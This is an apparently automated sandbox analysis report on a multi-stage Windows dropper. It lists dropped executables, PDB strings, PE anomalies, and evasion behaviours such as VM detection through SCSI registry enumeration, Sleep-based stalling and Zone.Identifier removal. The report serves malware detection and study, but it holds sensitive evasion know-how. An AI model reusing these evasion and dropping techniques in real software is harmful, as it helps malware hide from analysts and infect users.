Source: C:\Users\user\Desktop\e1c29f91924be94ceb6cbc2aecbd34ccdd9b2761d4b1c.exe	Automated click: OK
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\v0139395.exe	Automated click: OK

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: e1c29f91924be94ceb6cbc2aecbd34ccdd9b2761d4b1c.exe

Static file information: File size 1088512 > 1048576

Source: e1c29f91924be94ceb6cbc2aecbd34ccdd9b2761d4b1c.exe

Static PE information: Raw size of .rsrc is bigger than: 0x100000 < 0x101600

Source: e1c29f91924be94ceb6cbc2aecbd34ccdd9b2761d4b1c.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IMPORT
Source: e1c29f91924be94ceb6cbc2aecbd34ccdd9b2761d4b1c.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_RESOURCE
Source: e1c29f91924be94ceb6cbc2aecbd34ccdd9b2761d4b1c.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_BASERELOC
Source: e1c29f91924be94ceb6cbc2aecbd34ccdd9b2761d4b1c.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
Source: e1c29f91924be94ceb6cbc2aecbd34ccdd9b2761d4b1c.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG
Source: e1c29f91924be94ceb6cbc2aecbd34ccdd9b2761d4b1c.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IAT

Source: e1c29f91924be94ceb6cbc2aecbd34ccdd9b2761d4b1c.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, GUARD_CF, TERMINAL_SERVER_AWARE

Source: e1c29f91924be94ceb6cbc2aecbd34ccdd9b2761d4b1c.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:	Binary string: C:\A10\o5m5d\output.pdb* source: 2334.exe.22.dr
Source:	Binary string: P:\Target\x64\ship\groove\x-none\grooveex.pdbeex.pdb000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 source: explorer.exe, 00000016.00000000.275894673.00007FFD4C9E1000.00000020.00000001.01000000.00000011.sdmp
Source:	Binary string: wextract.pdb source: e1c29f91924be94ceb6cbc2aecbd34ccdd9b2761d4b1c.exe, x1895805.exe.40.dr, x1678116.exe.41.dr, v0139395.exe.0.dr, 3F93.exe.22.dr, v2232713.exe.2.dr, v5523814.exe.1.dr, 3D31.exe.22.dr
Source:	Binary string: P:\Target\x64\ship\groove\x-none\grooveex.pdb source: explorer.exe, 00000016.00000000.275894673.00007FFD4C9E1000.00000020.00000001.01000000.00000011.sdmp
Source:	Binary string: C:\A10\o5m5d\output.pdb source: 2334.exe.22.dr
Source:	Binary string: wextract.pdbGCTL source: e1c29f91924be94ceb6cbc2aecbd34ccdd9b2761d4b1c.exe, x1895805.exe.40.dr, x1678116.exe.41.dr, v0139395.exe.0.dr, 3F93.exe.22.dr, v2232713.exe.2.dr, v5523814.exe.1.dr
Source:	Binary string: C:\Users\Admin\source\repos\Healer\Healer\obj\Release\Healer.pdb source: v2232713.exe, 00000003.00000003.204297102.00000000048FA000.00000004.00000020.00020000.00000000.sdmp, a3839540.exe, 00000004.00000000.204407196.0000000000212000.00000002.00000001.01000000.00000007.sdmp, a3839540.exe.3.dr
Source:	Binary string: C:\vw7ewofvacnz\Ghost.pdb source: v2232713.exe, 00000003.00000003.204297102.0000000004966000.00000004.00000020.00020000.00000000.sdmp, b1121980.exe, 00000006.00000000.227101188.0000000000A29000.00000002.00000001.01000000.0000000A.sdmp, b1121980.exe.3.dr
Source:	Binary string: C:\5c6j7xfu8wdoe\Ghost.pdb source: v0139395.exe, 00000001.00000003.203317973.0000000004D5A000.00000004.00000020.00020000.00000000.sdmp, d7678512.exe.1.dr
Source:	Binary string: wextract.pdbU source: 3D31.exe.22.dr
Source:	Binary string: eex.pdb source: explorer.exe, 00000016.00000000.275894673.00007FFD4C9E1000.00000020.00000001.01000000.00000011.sdmp
Source:	Binary string: applaunch.pdb source: fahrbrd, 00000026.00000000.323367589.0000000000091000.00000020.00000001.01000000.00000013.sdmp, fahrbrd.22.dr
Source:	Binary string: comreplexe.pdb source: e1c29f91924be94ceb6cbc2aecbd34ccdd9b2761d4b1c.exe, 00000000.00000003.202823577.0000000002AED000.00000004.00000020.00020000.00000000.sdmp, 3F93.exe, 00000028.00000003.356389071.00000000008FE000.00000004.00000020.00020000.00000000.sdmp, e6072708.exe.0.dr, k4830352.exe.40.dr
Source:	Binary string: comreplexe.pdbGCTL source: e1c29f91924be94ceb6cbc2aecbd34ccdd9b2761d4b1c.exe, 00000000.00000003.202823577.0000000002AED000.00000004.00000020.00020000.00000000.sdmp, 3F93.exe, 00000028.00000003.356389071.00000000008FE000.00000004.00000020.00020000.00000000.sdmp, e6072708.exe.0.dr, k4830352.exe.40.dr
Source:	Binary string: C:\estm8qse\Ghost.pdb source: v5523814.exe, 00000002.00000003.203734760.0000000004825000.00000004.00000020.00020000.00000000.sdmp, c5286836.exe, 0000000E.00000000.252880967.0000000000419000.00000002.00000001.01000000.0000000C.sdmp, c5286836.exe.2.dr

Source: C:\Users\user\Desktop\e1c29f91924be94ceb6cbc2aecbd34ccdd9b2761d4b1c.exe	Code function: 0_2_0080724D push ecx; ret	0_2_00807260
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\v0139395.exe	Code function: 1_2_009A724D push ecx; ret	1_2_009A7260
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\v5523814.exe	Code function: 2_2_00AF724D push ecx; ret	2_2_00AF7260
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\v2232713.exe	Code function: 3_2_0113724D push ecx; ret	3_2_01137260
Source: C:\Users\user\AppData\Local\Temp\IXP003.TMP\a3839540.exe	Code function: 4_2_00007FFCE07800BD pushad ; iretd	4_2_00007FFCE07800C1
Source: C:\Users\user\AppData\Local\Temp\IXP003.TMP\b1121980.exe	Code function: 6_2_009C10D2 push ecx; ret	6_2_00A203D0
Source: C:\Users\user\AppData\Local\Temp\IXP003.TMP\b1121980.exe	Code function: 6_2_00A0302A push 59FFFBE8h; ret	6_2_00A03031
Source: C:\Users\user\AppData\Local\Temp\IXP003.TMP\b1121980.exe	Code function: 6_2_009C1A96 push ecx; ret	6_2_009CB443
Source: C:\Users\user\AppData\Local\Temp\IXP003.TMP\b1121980.exe	Code function: 6_2_00A44884 push ecx; ret	6_2_00A44897
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Code function: 9_2_0040F484 push ecx; ret	9_2_0040F497
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\c5286836.exe	Code function: 14_2_003B10D2 push ecx; ret	14_2_004103D0
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\c5286836.exe	Code function: 14_2_003F302A push 59FFFBE8h; ret	14_2_003F3031
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\c5286836.exe	Code function: 14_2_003B1A96 push ecx; ret	14_2_003BB443
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\c5286836.exe	Code function: 14_2_00428011 push edx; retf	14_2_0042801E
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\c5286836.exe	Code function: 14_2_00426B50 push ebp; iretd	14_2_00426B51
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\c5286836.exe	Code function: 14_2_00426E4D push FFFFFF94h; retf	14_2_00426E80
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\c5286836.exe	Code function: 14_2_00426E03 push FFFFFF94h; retf	14_2_00426E80
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\c5286836.exe	Code function: 14_2_00426E05 push FFFFFF94h; retf	14_2_00426E80
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\c5286836.exe	Code function: 14_2_00426E0D push FFFFFF94h; retf	14_2_00426E80
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\c5286836.exe	Code function: 14_2_00426E20 push FFFFFF94h; retf	14_2_00426E80
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\c5286836.exe	Code function: 14_2_00426E24 push FFFFFF94h; retf	14_2_00426E80
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\c5286836.exe	Code function: 14_2_00426E3A push FFFFFF94h; retf	14_2_00426E80
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\c5286836.exe	Code function: 14_2_00429244 pushfd ; ret	14_2_0042926C
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\c5286836.exe	Code function: 14_2_004275CF push ss; ret	14_2_004275D0
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\c5286836.exe	Code function: 14_2_00427BC7 push dword ptr [eax+4EB63366h]; iretd	14_2_00427BE0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Code function: 18_2_00401C4D push FFFFFF94h; retf	18_2_00401C80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Code function: 18_2_00401C03 push FFFFFF94h; retf	18_2_00401C80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Code function: 18_2_00401C05 push FFFFFF94h; retf	18_2_00401C80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Code function: 18_2_00401C0D push FFFFFF94h; retf	18_2_00401C80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Code function: 18_2_00402E11 push edx; retf	18_2_00402E1E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Code function: 18_2_00401C20 push FFFFFF94h; retf	18_2_00401C80

Source: C:\Users\user\Desktop\e1c29f91924be94ceb6cbc2aecbd34ccdd9b2761d4b1c.exe

Code function: 0_2_00802F1D GetSystemDirectoryA,LoadLibraryA,GetProcAddress,DecryptFileA,FreeLibrary,SetCurrentDirectoryA,

0_2_00802F1D

Source: e6072708.exe.0.dr

Static PE information: 0xCFCBD6A7 [Sat Jun 22 00:41:11 2080 UTC]

Source: d7678512.exe.1.dr	Static PE information: section name: .00cfg
Source: c5286836.exe.2.dr	Static PE information: section name: .00cfg
Source: b1121980.exe.3.dr	Static PE information: section name: .00cfg
Source: ADAB.exe.22.dr	Static PE information: section name: .syhua
Source: 2334.exe.22.dr	Static PE information: section name: .textbss
Source: 2334.exe.22.dr	Static PE information: section name: .00cfg
Source: 2334.exe.22.dr	Static PE information: section name: .Bell
Source: j8864040.exe.41.dr	Static PE information: section name: .syhua

Source: c5286836.exe.2.dr	Static PE information: real checksum: 0x0 should be: 0x881ee
Source: a3839540.exe.3.dr	Static PE information: real checksum: 0x0 should be: 0x2ec0
Source: j8864040.exe.41.dr	Static PE information: real checksum: 0x0 should be: 0x6f406
Source: ADAB.exe.22.dr	Static PE information: real checksum: 0x0 should be: 0x6a73c
Source: 9AEE.exe.22.dr	Static PE information: real checksum: 0x0 should be: 0xe5b79
Source: d7678512.exe.1.dr	Static PE information: real checksum: 0x0 should be: 0xb8618
Source: k4830352.exe.40.dr	Static PE information: real checksum: 0x1198f should be: 0x12e08
Source: b1121980.exe.3.dr	Static PE information: real checksum: 0x0 should be: 0xb732c
Source: 2334.exe.22.dr	Static PE information: real checksum: 0x0 should be: 0x18be37
Source: e6072708.exe.0.dr	Static PE information: real checksum: 0x1198f should be: 0x128b6

Source: initial sample

Static PE information: section name: .text entropy: 7.996888815360254

Source: C:\Windows\explorer.exe

File created: C:\Users\user\AppData\Roaming\fahrbrd

Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\v5523814.exe	File created: C:\Users\user\AppData\Local\Temp\IXP002.TMP\v2232713.exe	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\9AEE.exe	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\2334.exe	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\ADAB.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\3F93.exe	File created: C:\Users\user\AppData\Local\Temp\IXP000.TMP\x1895805.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\x1895805.exe	File created: C:\Users\user\AppData\Local\Temp\IXP001.TMP\x1678116.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\x1895805.exe	File created: C:\Users\user\AppData\Local\Temp\IXP001.TMP\j8864040.exe	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\92C4.exe	Jump to dropped file
Source: C:\Users\user\Desktop\e1c29f91924be94ceb6cbc2aecbd34ccdd9b2761d4b1c.exe	File created: C:\Users\user\AppData\Local\Temp\IXP000.TMP\v0139395.exe	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\3F93.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\v5523814.exe	File created: C:\Users\user\AppData\Local\Temp\IXP002.TMP\c5286836.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\v2232713.exe	File created: C:\Users\user\AppData\Local\Temp\IXP003.TMP\a3839540.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\3F93.exe	File created: C:\Users\user\AppData\Local\Temp\IXP000.TMP\k4830352.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\v0139395.exe	File created: C:\Users\user\AppData\Local\Temp\IXP001.TMP\v5523814.exe	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Roaming\fahrbrd	Jump to dropped file
Source: C:\Users\user\Desktop\e1c29f91924be94ceb6cbc2aecbd34ccdd9b2761d4b1c.exe	File created: C:\Users\user\AppData\Local\Temp\IXP000.TMP\e6072708.exe	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\3D31.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\v2232713.exe	File created: C:\Users\user\AppData\Local\Temp\IXP003.TMP\b1121980.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\v0139395.exe	File created: C:\Users\user\AppData\Local\Temp\IXP001.TMP\d7678512.exe	Jump to dropped file

Source: C:\Users\user\Desktop\e1c29f91924be94ceb6cbc2aecbd34ccdd9b2761d4b1c.exe	Code function: 0_2_00801AE8 CompareStringA,GetFileAttributesA,LocalAlloc,GetPrivateProfileIntA,GetPrivateProfileStringA,GetShortPathNameA,CompareStringA,LocalAlloc,LocalAlloc,GetFileAttributesA,	0_2_00801AE8
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\v0139395.exe	Code function: 1_2_009A1AE8 CompareStringA,GetFileAttributesA,LocalAlloc,GetPrivateProfileIntA,GetPrivateProfileStringA,GetShortPathNameA,CompareStringA,LocalAlloc,LocalAlloc,GetFileAttributesA,	1_2_009A1AE8
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\v5523814.exe	Code function: 2_2_00AF1AE8 CompareStringA,GetFileAttributesA,LocalAlloc,GetPrivateProfileIntA,GetPrivateProfileStringA,GetShortPathNameA,CompareStringA,LocalAlloc,LocalAlloc,GetFileAttributesA,	2_2_00AF1AE8
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\v2232713.exe	Code function: 3_2_01131AE8 CompareStringA,GetFileAttributesA,LocalAlloc,GetPrivateProfileIntA,GetPrivateProfileStringA,GetShortPathNameA,CompareStringA,LocalAlloc,LocalAlloc,GetFileAttributesA,	3_2_01131AE8
Source: C:\Users\user\AppData\Local\Temp\3F93.exe	Code function: 40_2_00F31AE8 CompareStringA,GetFileAttributesA,LocalAlloc,GetPrivateProfileIntA,GetPrivateProfileStringA,GetShortPathNameA,CompareStringA,LocalAlloc,LocalAlloc,GetFileAttributesA,	40_2_00F31AE8
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\x1895805.exe	Code function: 41_2_00C41AE8 CompareStringA,GetFileAttributesA,LocalAlloc,GetPrivateProfileIntA,GetPrivateProfileStringA,GetShortPathNameA,CompareStringA,LocalAlloc,LocalAlloc,GetFileAttributesA,	41_2_00C41AE8

Hooking and other Techniques for Hiding and Protection

Hides that the sample has been downloaded from the Internet (zone.identifier)

Source: C:\Windows\explorer.exe

File opened: C:\Users\user\AppData\Roaming\fahrbrd:Zone.Identifier read attributes | delete

Source: C:\Users\user\AppData\Local\Temp\IXP003.TMP\a3839540.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP003.TMP\a3839540.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP003.TMP\a3839540.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP003.TMP\a3839540.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP003.TMP\a3839540.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP003.TMP\a3839540.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP003.TMP\a3839540.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP003.TMP\a3839540.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP003.TMP\a3839540.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP003.TMP\a3839540.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP003.TMP\a3839540.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP003.TMP\a3839540.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP003.TMP\a3839540.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP003.TMP\a3839540.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP003.TMP\a3839540.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP003.TMP\a3839540.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP003.TMP\a3839540.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Found stalling execution ending in API Sleep call

Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\c5286836.exe

Stalling execution: Execution stalls by calling Sleep

Checks if the current machine is a virtual machine (disk enumeration)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\IXP003.TMP\a3839540.exe TID: 6572	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 3064	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\explorer.exe TID: 6672	Thread sleep time: -656700s >= -30000s
Source: C:\Windows\explorer.exe TID: 6680	Thread sleep time: -91600s >= -30000s
Source: C:\Windows\explorer.exe TID: 3660	Thread sleep time: -330000s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 2796	Thread sleep time: -90000s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 7040	Thread sleep time: -90000s >= -30000s

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

